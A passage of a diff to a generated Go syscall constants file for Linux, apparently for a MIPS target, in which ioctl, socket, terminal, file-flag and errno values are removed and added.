-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x5410
-- TCSBRK = 0x5405
-- TCSBRKP = 0x5486
-- TCSETA = 0x5402
-- TCSETAF = 0x5404
-- TCSETAW = 0x5403
-- TCSETS = 0x540e
-- TCSETS2 = 0x8030542b
-- TCSETSF = 0x5410
-- TCSETSF2 = 0x8030542d
-- TCSETSW = 0x540f
-- TCSETSW2 = 0x8030542c
-- TCXONC = 0x5406
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x80047478
-- TIOCEXCL = 0x740d
-- TIOCGDEV = 0x40045432
-- TIOCGETD = 0x7400
-- TIOCGETP = 0x7408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x5492
-- TIOCGLCKTRMIOS = 0x548b
-- TIOCGLTC = 0x7474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x4020542e
-- TIOCGSERIAL = 0x5484
-- TIOCGSID = 0x7416
-- TIOCGSOFTCAR = 0x5481
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x467f
-- TIOCLINUX = 0x5483
-- TIOCMBIC = 0x741c
-- TIOCMBIS = 0x741b
-- TIOCMGET = 0x741d
-- TIOCMIWAIT = 0x5491
-- TIOCMSET = 0x741a
-- TIOCM_CAR = 0x100
-- TIOCM_CD = 0x100
-- TIOCM_CTS = 0x40
-- TIOCM_DSR = 0x400
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x200
-- TIOCM_RNG = 0x200
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x20
-- TIOCM_ST = 0x10
-- TIOCNOTTY = 0x5471
-- TIOCNXCL = 0x740e
-- TIOCOUTQ = 0x7472
-- TIOCPKT = 0x5470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x5480
-- TIOCSERCONFIG = 0x5488
-- TIOCSERGETLSR = 0x548e
-- TIOCSERGETMULTI = 0x548f
-- TIOCSERGSTRUCT = 0x548d
-- TIOCSERGWILD = 0x5489
-- TIOCSERSETMULTI = 0x5490
-- TIOCSERSWILD = 0x548a
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x7401
-- TIOCSETN = 0x740a
-- TIOCSETP = 0x7409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x548c
-- TIOCSLTC = 0x7475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0xc020542f
-- TIOCSSERIAL = 0x5485
-- TIOCSSOFTCAR = 0x5482
-- TIOCSTI = 0x5472
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x8000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x800854d5
-- TUNDETACHFILTER = 0x800854d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x400854db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x10
-- VEOL = 0x11
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VSWTCH = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x20
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40041270
-+ BLKBSZSET = 0x80041271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40041272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x80
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x2000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40046601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0x21
-+ F_GETLK64 = 0x21
-+ F_GETOWN = 0x17
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x22
-+ F_SETLK64 = 0x22
-+ F_SETLKW = 0x23
-+ F_SETLKW64 = 0x23
-+ F_SETOWN = 0x18
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x100
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x80
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x800
-+ MAP_ANONYMOUS = 0x800
-+ MAP_DENYWRITE = 0x2000
-+ MAP_EXECUTABLE = 0x4000
-+ MAP_GROWSDOWN = 0x1000
-+ MAP_HUGETLB = 0x80000
-+ MAP_LOCKED = 0x8000
-+ MAP_NONBLOCK = 0x20000
-+ MAP_NORESERVE = 0x400
-+ MAP_POPULATE = 0x10000
-+ MAP_RENAME = 0x800
-+ MAP_STACK = 0x40000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x20
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x8
-+ O_ASYNC = 0x1000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x100
-+ O_DIRECT = 0x8000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x10
-+ O_EXCL = 0x400
-+ O_FSYNC = 0x4010
-+ O_LARGEFILE = 0x2000
-+ O_NDELAY = 0x80
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x80
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x4010
-+ O_SYNC = 0x4010
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40042407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8004240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc004240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80042406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4008743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80087446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x800c744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80087447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_GET_THREAD_AREA_3264 = 0xc4
-+ PTRACE_GET_WATCH_REGS = 0xd0
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_3264 = 0xc1
-+ PTRACE_PEEKTEXT_3264 = 0xc0
-+ PTRACE_POKEDATA_3264 = 0xc3
-+ PTRACE_POKETEXT_3264 = 0xc2
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SET_WATCH_REGS = 0xd1
-+ RLIMIT_AS = 0x6
-+ RLIMIT_MEMLOCK = 0x9
-+ RLIMIT_NOFILE = 0x5
-+ RLIMIT_NPROC = 0x8
-+ RLIMIT_RSS = 0x7
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4004700d
-+ RTC_EPOCH_SET = 0x8004700e
-+ RTC_IRQP_READ = 0x4004700b
-+ RTC_IRQP_SET = 0x8004700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x401c7011
-+ RTC_PLL_SET = 0x801c7012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x80
-+ SIOCATMARK = 0x40047307
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x467f
-+ SIOCOUTQ = 0x7472
-+ SIOCSPGRP = 0x80047308
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x1
-+ SOCK_NONBLOCK = 0x80
-+ SOCK_STREAM = 0x2
-+ SOL_SOCKET = 0xffff
-+ SO_ACCEPTCONN = 0x1009
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x20
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x1029
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x8
-+ SO_LINGER = 0x80
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0x100
-+ SO_PASSCRED = 0x11
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x12
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1e
-+ SO_PROTOCOL = 0x1028
-+ SO_RCVBUF = 0x1002
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x1001
-+ SO_SNDBUFFORCE = 0x1f
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x1005
-+ SO_STYLE = 0x1008
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x1008
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x5407
-+ TCGETA = 0x5401
-+ TCGETS = 0x540d
-+ TCGETS2 = 0x4030542a
-+ TCSAFLUSH = 0x5410
-+ TCSBRK = 0x5405
-+ TCSBRKP = 0x5486
-+ TCSETA = 0x5402
-+ TCSETAF = 0x5404
-+ TCSETAW = 0x5403
-+ TCSETS = 0x540e
-+ TCSETS2 = 0x8030542b
-+ TCSETSF = 0x5410
-+ TCSETSF2 = 0x8030542d
-+ TCSETSW = 0x540f
-+ TCSETSW2 = 0x8030542c
-+ TCXONC = 0x5406
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x80047478
-+ TIOCEXCL = 0x740d
-+ TIOCGDEV = 0x40045432
-+ TIOCGETD = 0x7400
-+ TIOCGETP = 0x7408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x5492
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x548b
-+ TIOCGLTC = 0x7474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x4020542e
-+ TIOCGSERIAL = 0x5484
-+ TIOCGSID = 0x7416
-+ TIOCGSOFTCAR = 0x5481
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x467f
-+ TIOCLINUX = 0x5483
-+ TIOCMBIC = 0x741c
-+ TIOCMBIS = 0x741b
-+ TIOCMGET = 0x741d
-+ TIOCMIWAIT = 0x5491
-+ TIOCMSET = 0x741a
-+ TIOCM_CAR = 0x100
-+ TIOCM_CD = 0x100
-+ TIOCM_CTS = 0x40
-+ TIOCM_DSR = 0x400
-+ TIOCM_RI = 0x200
-+ TIOCM_RNG = 0x200
-+ TIOCM_SR = 0x20
-+ TIOCM_ST = 0x10
-+ TIOCNOTTY = 0x5471
-+ TIOCNXCL = 0x740e
-+ TIOCOUTQ = 0x7472
-+ TIOCPKT = 0x5470
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x5480
-+ TIOCSERCONFIG = 0x5488
-+ TIOCSERGETLSR = 0x548e
-+ TIOCSERGETMULTI = 0x548f
-+ TIOCSERGSTRUCT = 0x548d
-+ TIOCSERGWILD = 0x5489
-+ TIOCSERSETMULTI = 0x5490
-+ TIOCSERSWILD = 0x548a
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x7401
-+ TIOCSETN = 0x740a
-+ TIOCSETP = 0x7409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x548c
-+ TIOCSLTC = 0x7475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0xc020542f
-+ TIOCSSERIAL = 0x5485
-+ TIOCSSOFTCAR = 0x5482
-+ TIOCSTI = 0x5472
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x8000
-+ TUNATTACHFILTER = 0x800854d5
-+ TUNDETACHFILTER = 0x800854d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x400854db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x10
-+ VEOL = 0x11
-+ VEOL2 = 0x6
-+ VMIN = 0x4
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VSWTCH = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x20
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x7d)
- EADDRNOTAVAIL = syscall.Errno(0x7e)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x7c)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x95)
- EBADE = syscall.Errno(0x32)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x51)
- EBADMSG = syscall.Errno(0x4d)
- EBADR = syscall.Errno(0x33)
- EBADRQC = syscall.Errno(0x36)
- EBADSLT = syscall.Errno(0x37)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x9e)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x25)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x82)
-@@ -1886,12 +502,8 @@ const (
- EDEADLK = syscall.Errno(0x2d)
- EDEADLOCK = syscall.Errno(0x38)
- EDESTADDRREQ = syscall.Errno(0x60)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x46d)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x93)
- EHOSTUNREACH = syscall.Errno(0x94)
- EHWPOISON = syscall.Errno(0xa8)
-@@ -1899,11 +511,7 @@ const (
- EILSEQ = syscall.Errno(0x58)
- EINIT = syscall.Errno(0x8d)
- EINPROGRESS = syscall.Errno(0x96)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x85)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x8b)
- EKEYEXPIRED = syscall.Errno(0xa2)
- EKEYREJECTED = syscall.Errno(0xa4)
-@@ -1920,8 +528,6 @@ const (
- ELNRNG = syscall.Errno(0x29)
- ELOOP = syscall.Errno(0x5a)
- EMEDIUMTYPE = syscall.Errno(0xa0)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x61)
- EMULTIHOP = syscall.Errno(0x4a)
- ENAMETOOLONG = syscall.Errno(0x4e)
-@@ -1929,100 +535,68 @@ const (
- ENETDOWN = syscall.Errno(0x7f)
- ENETRESET = syscall.Errno(0x81)
- ENETUNREACH = syscall.Errno(0x80)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x35)
- ENOBUFS = syscall.Errno(0x84)
- ENOCSI = syscall.Errno(0x2b)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0xa1)
- ENOLCK = syscall.Errno(0x2e)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x9f)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x23)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x63)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x59)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x86)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x5d)
- ENOTNAM = syscall.Errno(0x89)
- ENOTRECOVERABLE = syscall.Errno(0xa6)
- ENOTSOCK = syscall.Errno(0x5f)
- ENOTSUP = syscall.Errno(0x7a)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x50)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x7a)
- EOVERFLOW = syscall.Errno(0x4f)
- EOWNERDEAD = syscall.Errno(0xa5)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x7b)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x78)
- EPROTOTYPE = syscall.Errno(0x62)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x52)
- EREMDEV = syscall.Errno(0x8e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x8c)
- ERESTART = syscall.Errno(0x5b)
- ERFKILL = syscall.Errno(0xa7)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x8f)
- ESOCKTNOSUPPORT = syscall.Errno(0x79)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x97)
- ESTRPIPE = syscall.Errno(0x5c)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x91)
- ETOOMANYREFS = syscall.Errno(0x90)
